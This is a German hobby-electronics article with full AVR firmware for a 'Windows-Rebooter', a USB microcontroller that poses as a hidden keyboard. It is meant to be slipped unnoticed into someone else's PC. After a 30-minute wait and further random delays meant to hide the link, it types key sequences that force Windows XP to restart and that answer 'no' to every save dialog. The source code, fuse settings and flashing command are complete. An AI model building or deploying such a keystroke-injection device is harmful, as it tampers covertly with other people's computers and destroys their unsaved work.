Windows-Rebooter            


von Ralf Beesner    
Elektronik-Labor   Projekte   AVR 



Unter den auf http://www.obdev.at/products/vusb/projects-de.html vorgestellten Keyboard-Emulatoren gibt es neben ernsthaften Anwendungen auch einige Spaß-Schaltungen, die man arglosen Zeitgenossen "unterjubeln" kann.

Steckt man die präparierten USB-Sticks unbemerkt in fremde PCs, treiben sie als heimliche Zweit-Keyboards ihr Unwesen, indem sie unregelmäßig Tastendrücke einfügen und so den arglosen PC-Nutzer an seinem Verstand zweifeln lassen.

"Capslocker" drückt ab und zu die CapsLock-Taste und schaltet so dauerhaft auf Großschreibung um. "Cenillard" erzeugt ein wildes Geflacker der LED-Tastaturleuchten, und das (sogar kommerziell gefertigte) "Haunted USB Cable" betätigt neben der CapsLock-Taste noch einige weitere Tasten, die in die Keyboard-Eingaben der regulären Tastatur eingestreut werden. Die gesamte Schaltung ist in SMD ausgeführt und unsichtbar in den Stecker eines USB-Verbindungskabels eingegossen; daher der Name.

Als Programmierübung habe ich versucht, das Prinzip auf die Spitze zu treiben und die Software so zu modifizieren, dass sie einen Windows-PC willkürlich herunterfährt bzw. rebootet.

Da ich niemanden kenne, den ich so derbe veralbern möchte, veröffentliche ich die Lösung stattdessen, damit die Arbeit nicht völlig vergeblich war.



Tastendrücke

Um Windows XP über Tastaturkommandos zu beenden, gibt es mindestens zwei Wege: wurde in der Windows-Benutzerverwaltung für den aktuellen Benutzer der "Willkommensbildschirm" aktiviert, muss man die linke Windows-Taste (oder alternativ Strg -Escape) drücken. Ist das Menü aufgeklappt, gelangt man mit "a" in den Beenden-Dialog und kann zwischen Herunterfahren (Taste "n") und Reboot (Taste "a") wählen.

Ist die "klassische Benutzeranmeldung" aktiviert, muss man nach Aufklappen des Menüs ein "r" drücken, um in den Beenden-Dialog zu gelangen. Dort präsentiert sich ein Pulldown-Menü, in dem man durch Drücken der Taste "n" den Neustart aktiviert. Schließlich muss man die Auswahl noch mit der ReturnTaste bestätigen.

Eine weitere Hürde tut sich auf, wenn gerade Dateien bearbeitet wurden, dann werden die zugehörigen Anwendungen vor dem Herunterfahren nicht automatisch beendet, sondern es ploppt jeweils ein Dateidialog auf, der fragt, ob und unter welchem Namen die Datei gespeichert werden soll. Mit jeweils einem "n" für "nicht speichern" lassen sie sich auf brutalstmögliche Weise beenden.

Die komplette Tastenfolge für einen Reboot lautet also:
<Strg-Escape>annnnnn bzw.
<Strg-Escape>rn<Return>nnnnn

Um beide Varianten abzudecken, lautet sie zweckmäßigerweise:

<Strg-Escape>annnnnnrn<Return>nnnnn

Einige Fenster lassen sich allerdings nicht automatisch oder per "n" schließen, z.B. Excel (die "nnnnn" werden in die Tabelle geschrieben).

Ob die Tastenkombinationen auch unter Windows 7 oder Vista funktionieren, weiß ich nicht -es wäre nicht ganz unwahrscheinlich, dass Microsoft sich neue Tastaturkommandos ausgedacht hat.


Software

Beim Herumspielen mit den oben genannten Lösungen stellte sich schnell heraus, dass (zumindest auf meinem Windows XP) die auf der AtTiny-PLL-Frequenzerzeugung basierenden Lösungen einen Reboot bzw. einen Kaltstart des Rechners nicht "überlebten" (unter Linux trat das Problem übrigens nicht auf). Der Windows-Rebooter würde also nur genau einmal funktionieren.

Eine partielle Abhilfe besteht darin, den 1,5 kOhm-Pullup-Widerstand, der dem USB ein low-speed-Gerät signalisiert, nicht ständig an Plus zu legen, sondern über einen Ausgang des Mikrocontrollers erst nach einiger Zeit auf high zu ziehen, nachdem also Windows hochgefahren ist. Das funktioniert aber nur nach einem Kaltstart zuverlässig (weil der Mikrocontroller dadurch stromlos war und neu startet).

Die Kalibrierung des Mikrocontrollers erfolgt durch die Funktionen in osccal.h auch nur einmal nach dem Start des Mikrocontrollers; bei Rechnern, die nur selten heruntergefahren werden, könnte der RC-Oszillator daher so weit wegdriften, dass die USB-Kommunikation zusammenbricht.

Die obdev.at-Lösungen mit einem Quarz werden jedoch in jedem Fall unter Windows erkannt; daher habe ich das Herumgefummel an usbconfig.h und den osccal-Funktionen aufgegeben und 18 Cent für einen 12 MHz-Quarz investiert.

Ausgangspunkt war die Software für den "CapsLocker".

Die geänderte Version durchläuft zunächst 30 min. Wartezeit, in der sich der Rebooter passiv verhält. Dann legt die Software PB1 auf high und signalisiert dem PC ein low-speed-Gerät. Danach wird die Variable TimerDelay auf 32000 + rand() gesetzt (was in der Hauptschleife zu einer weiteren Wartezeit zwischen 2 * 12 und 2 * 25 Minuten führt).

Anschließend geht das Programm in die Hauptschleife:
 -watchdog resetten
 -USB pollen
 -falls der USB bereit ist, einen neuen Report senden
 -Funktion TimerPoll aufrufen

Der Timer ist auf einen Überlauf nach 1/45 sec. programmiert. In der Funkion TimerPoll werden in einer Doppelschleife die Variablen i und TimerCnt so lange inkrementiert, bis i = 2 und TimerCnt größer als der Wert TimerDelay ist. Dann werden die Tastaturkommandos "abgefeuert".




Hardware

Verwendet wird die 3V-Standardschaltung, die aus den 5V des USB mit zwei in Durchlassrichtung in Reihe geschalteten Dioden ca. 3,5V gewinnt. Der Widerstand R3, der dem USB ein Low-Speed-Gerät signalisiert, liegt nicht ständig an Plus, sondern wird über PB1 des AtTiny45 auf High gezogen. An PB3 und PB4 liegt ein 12 MHz-Quarz. Die Bürdekapazitäten sind weggelassen; der Quarz schwingt trotzdem an. Die USB- Pinbelegung entspricht einem USB-A- Stecker für Platinenmontage.



Update 17.9.12: in den AtTiny45- Schaltbildern waren die beiden USB- Datenleitungen vertauscht





Flashen

Für den, der die C-Software nicht selbst kompilieren kann (das Makefile ist für Linux und müsste für Windows etwas angepasst werden), sind im gepackten Quellcode-Paket zwei HEX-Files enthalten, die direkt in den Mikrocontroller gebrannt werden können. Die "Test"-Variante arbeitet mit kürzeren Timern (ein bis zwei Minuten).

Unter http://www.elektroniklabor.de/AVR/AVRdude.html ist beschrieben, wie man die Hardware des LP Mikrocontroller zum Flashen und Umfusen von Attiny 45 verwenden kann. Wurde der Attiny bereits auf Quarzbetrieb umgefust, kann man die Platine trotzdem benutzen, wenn man einen Quarz so in die Experimentierfassung einsteckt, dass er mit PB3 und PB4 verbunden ist.

Die erforderliche Fusebytes:
lfuse=0xef aktiviert den Quarzoszillator
hfuse=0xdd aktiviert den Brownout-Detektor mit einer Schwelle von 2,7V

Der komplette Aufruf lautet z.B: avrdude.exe -p t45 -c burkhard -P com1 -U lfuse:w:0xe1:m hfuse:w:0xdd:m


Anwendung

Die Schaltung verhält sich etwas 30 min. lang passiv (damit man nach Platzierung des Rebooters erst mal "das Weite suchen kann"). War noch keine HID-Tastatur in dem USB-Port des Rechners eingesteckt, ploppt danach der Treiberdialog auf (der Treiber ist zwar Teil der Windows-StandardInstallation, ist aber noch nicht an den benutzten USB-Port gebunden). Das Opfer klickt dann hoffentlich auf "automatisch installieren" -die meisten Windows-Nutzer sind ja konditioniert, kryptische Windows-Dialoge mit "ja" oder "weiter" wegzuklicken.

Danach läuft eine weitere Zufallszeit von 24-50 min. ab (um den Zusammenhang zu verschleiern), bis die Schaltung "zuschlägt".

Anschließend rebootet der Rechner im Abstand von 24-50 Minuten (nach einem Kaltstart kommen einmalig 30 min. dazu).

Die Chance ist also hoch, dass das Opfer auf einen Hardware-Defekt schließt oder Bill Gates mal wieder ergeben den Kopf für die vermeintliche Macke des Betriebssystems hinhalten muss ....

Download: Windows-Rebooter-Software.zip

/* Name: main.c

* Windows Rebooter
* Joke Device to reboot someones Windows PC unexpectedly

* device wais 30 minutes befor enumerating at the pc os

* Device waits another 24 minutes plus initial random time (between
* 0 and 50 minutes), then sends <ctrl-escape> to activate
* Windows Start Menu
* it then sends the sequence <a> <n> to call reboot sequence.

* As there may be some Programs open, it shuts down these
* programs without saving files. This is achieved by sending
* a few <n>, each of these end open file dialogs.

* As there are 2 different Windows Menu dialogues a second sequence
* follows. It sends <r>, <return >, and several <n>

* The Device waits a random time between 33 and 66 minutes
* and then reboots again

* Source Code was modified from "CapsLocker" Source

* "Capslocker" was modified from Original code:
* Thermostat based on AVR USB driver
* Author: Christian Starkjohann
* Creation Date: 2006-04-23
* Tabsize: 4
* Copyright: (c) 2006 by OBJECTIVE DEVELOPMENT Software GmbH
* License: Proprietary, free under certain conditions. See Documentation.
* This Revision: $Id: main.c 537 2008-02-28 21:13:01Z cs $
*/


#include <avr/io.h>
#include <avr/interrupt.h>
#include <avr/wdt.h>
#include <util/delay.h>
#include <avr/pgmspace.h>
#include <stdlib.h>

#include "usbdrv.h"
#include "oddebug.h"

#define allow_interrupts() sei()
#define false (1==0)
#define true (1==1)
typedef int8_t bool;

/****************************** Resolve AVR naming chaos ****************/

//----------------------------- Interrupt vectors -----------------------/
#ifndef USART0_RX_vect
#if defined USART_RX_vect
#define USART0_RX_vect USART_RX_vect
#elif defined USART_RXC_vect
#define USART0_RX_vect USART_RXC_vect
#elif defined USART0_RXC_vect
#define USART0_RX_vect USART0_RXC_vect
#endif
#endif

#if !defined USART0_UDRE_vect && defined USART_UDRE_vect
#define USART0_UDRE_vect USART_UDRE_vect
#endif

//----------------------------- Register names --------------------------/
#ifndef UCSR0A
#define UCSR0A UCSRA
#endif
#ifndef UCSR0B
#define UCSR0B UCSRB
#endif
#ifndef UCSR0C
#define UCSR0C UCSRC
#endif
#ifndef UDR0
#define UDR0 UDR
#endif
#ifndef UBRR0L
#define UBRR0L UBRRL
#endif
#ifndef UBRR0H
#define UBRR0H UBRRH
#endif

//----------------------------- Bit names -------------------------------/
#ifndef UCSZ00
#define UCSZ00 UCSZ0
#endif
#ifndef UCSZ01
#define UCSZ01 UCSZ1
#endif
#ifndef UCSZ02
#define UCSZ02 UCSZ2
#endif
#if !defined URSEL0 && defined URSEL
#define URSEL0 URSEL
#endif
#ifndef RXEN0
#define RXEN0 RXEN
#endif
#ifndef TXEN0
#define TXEN0 TXEN
#endif
#ifndef UDRIE0
#define UDRIE0 UDRIE
#endif
#ifndef RXCIE0
#define RXCIE0 RXCIE
#endif
#ifndef U2X0
#define U2X0 U2X
#endif
#ifndef MPCM0
#define MPCM0 MPCM
#endif
#ifndef UPM00
#define UPM00 UPM0
#endif
#ifndef USBS0
#define USBS0 USBS
#endif
#ifndef UMSEL00
#define UMSEL00 UMSEL
#endif


/* ------------------------------------------------------------------------- */

static uchar reportBuffer[2]; /* buffer for HID reports */
static uchar idleRate; /* in 4 ms units */
static unsigned int TimerDelay; /* counter for delay period */
static unsigned int timerCnt;
static uchar key = 0;
static uchar modifier = 0;
static unsigned int i = 0;


/* ------------------------------------------------------------------------- */


// ----------------------------------------------------------------- application

char PROGMEM usbHidReportDescriptor[USB_CFG_HID_REPORT_DESCRIPTOR_LENGTH] = { /* USB report descriptor */
0x05, 0x01, // USAGE_PAGE (Generic Desktop)
0x09, 0x06, // USAGE (Keyboard)
0xa1, 0x01, // COLLECTION (Application)
0x05, 0x07, // USAGE_PAGE (Keyboard)
0x19, 0xe0, // USAGE_MINIMUM (Keyboard LeftControl)
0x29, 0xe7, // USAGE_MAXIMUM (Keyboard Right GUI)
0x15, 0x00, // LOGICAL_MINIMUM (0)
0x25, 0x01, // LOGICAL_MAXIMUM (1)
0x75, 0x01, // REPORT_SIZE (1)
0x95, 0x08, // REPORT_COUNT (8)
0x81, 0x02, // INPUT (Data,Var,Abs)
0x95, 0x01, // REPORT_COUNT (1)
0x75, 0x08, // REPORT_SIZE (8)
0x25, 0x65, // LOGICAL_MAXIMUM (101)
0x19, 0x00, // USAGE_MINIMUM (Reserved (no event indicated))
0x29, 0x65, // USAGE_MAXIMUM (Keyboard Application)
0x81, 0x00, // INPUT (Data,Ary,Abs)
0xc0 // END_COLLECTION
};
/* We use a simplifed keyboard report descriptor which does not support the
* boot protocol. We don't allow setting status LEDs and we only allow one
* simultaneous key press (except modifiers). We can therefore use short
* 2 byte input reports.
* The report descriptor has been created with usb.org's "HID Descriptor Tool"
* which can be downloaded from http://www.usb.org/developers/hidpage/.
* Redundant entries (such as LOGICAL_MINIMUM and USAGE_PAGE) have been omitted
* for the second INPUT item.
*/


static void buildReport(void)
{
switch (timerCnt){

case 10:{
modifier = 1 ; /* ctrl */
key = 41 ; /*escape*/
break;
}
case 12:{
modifier = 0; /* no modifiers */
key = 4;
break;
}
case 14:{
modifier = 0; /* no modifiers */
key = 17; // 17: n / reboot 4: a / shutdown
break;
}
case 16:{
modifier = 0; /* no modifiers */
key = 17; /* close application 1 */
break;
}
case 18:{
modifier = 0;
key = 17;
break;
}
case 20:{
modifier = 0;
key = 17;
break;
}
case 22:{
modifier = 0;
key = 17;
break;
}
case 24:{
modifier = 0;
key = 17;
break;
}
case 26:{
modifier = 0;
key = 17;
break;
}
case 28:{
modifier = 0;
key = 17;
break;
}
case 30:{ /*close application 8 */
modifier = 0;
key = 17;
break;
}
case 32:{
modifier = 0;
key = 21; // 21:r
break;
}
case 34:{
modifier = 0;
key = 17; // 17:n
break;
}
case 36:{
modifier = 0;
key = 40; // 40:<Return>
break;
}
case 38:{ /* close application 1 */
modifier = 0;
key = 17;
break;
}
case 40:{
modifier = 0;
key = 17;
break;
}
case 42:{
modifier = 0;
key = 17;
break;
}
case 44:{
modifier = 0;
key = 17;
break;
}
case 46:{
modifier = 0;
key = 17;
break;
}
case 48:{
modifier = 0;
key = 17;
break;
}
case 50:{
modifier = 0;
key = 17;
break;
}
case 52:{ /*close application 8 */
modifier = 0;
key = 17;
break;
}
default:
modifier = 0; /* no modifiers */
key = 0;
}
reportBuffer[0] = modifier;
reportBuffer[1] = key;
}

static void timerPoll(void)
{
// static unsigned int timerCnt;

if(TIFR & (1 << TOV1)){
TIFR = (1<< TOV1); /* clear overflow */
i++;
if(i >= 2){ // this loop multiplies timerDelay with 2
i = 0 ;
timerCnt++;
if(timerCnt >= TimerDelay){
TimerDelay = 32000 + rand(); // 12 .... 25 minutes
// TimerDelay = 1100 + rand()/32; // testmode 60 sec + 0 ... 60 sec. */
timerCnt = 0;
}
}
}
}


static void timerInit(void)
{
TCCR1 = 0x0b; /* select clock: 12M/1k -> overflow rate = 12M/256k = 45.77 Hz */
} /* -> max. possible value for timerDelay is 65536 / 45.77 = 1431 secs = 23,8 minutes */


/* ------------------------------------------------------------------------- */


uint8_t usbFunctionSetup( uint8_t data[8])
{
usbRequest_t *request = (void *)data;

usbMsgPtr = reportBuffer;

if ( USBRQ_TYPE_CLASS == ( request->bmRequestType & USBRQ_TYPE_MASK)) // class request type
{
switch ( request->bRequest)
{
case USBRQ_HID_GET_REPORT: // wValue: ReportType (highbyte), ReportID (lowbyte)
// we only have one report type, so don't look at wValue
return sizeof( reportBuffer);
break;

case USBRQ_HID_GET_IDLE:
usbMsgPtr = &idleRate;
return 1;

case USBRQ_HID_SET_IDLE:
idleRate = request->wValue.bytes[1];
break;

default:
// no vendor specific requests implemented
break;
}
}

return 0;
}


/* ------------------------------------------------------------------------- */
/* --------------------------------- main ---------------------------------- */
/* ------------------------------------------------------------------------- */

int main(void)
{

wdt_disable();
PORTB = 0b00011010; /* output PORTB.1 = 1 */
for(i=0;i<7200;i++){ /* 30 minutes waiting */
// for(i=0;i<480;i++){ /* test mode: 2 min waiting */
_delay_ms(250);
}
DDRB= (1<<1); /* activate 1,5 kOhm to start enumerating */
timerInit();
usbInit();
usbDeviceDisconnect(); // enforce re-enumeration, do this while interrupts are disabled!
_delay_ms(250);
usbDeviceConnect();
wdt_enable( WDTO_1S);
allow_interrupts();
timerCnt = 200;
TimerDelay = 32000 + rand() ; // 12 ...25 minutes
// TimerDelay = 1100 + rand()/32; // test mode: 60 sec + 0...60 sec.

// loop forever

for(;;){ /* main event loop */
wdt_reset();
usbPoll();
/* A USB keypress cycle is defined as a scancode being present in a report, and
then absent from a later report. To press and release the Caps Lock key, instead of
holding it down, we need to send the report with the Caps Lock scancode and
then an empty report. */
if( usbInterruptIsReady() ){ /* we can send another key */
buildReport();
usbSetInterrupt(reportBuffer, sizeof(reportBuffer));
}
timerPoll();
}
return 0;

}



Elektronik-Labor   Projekte   AVR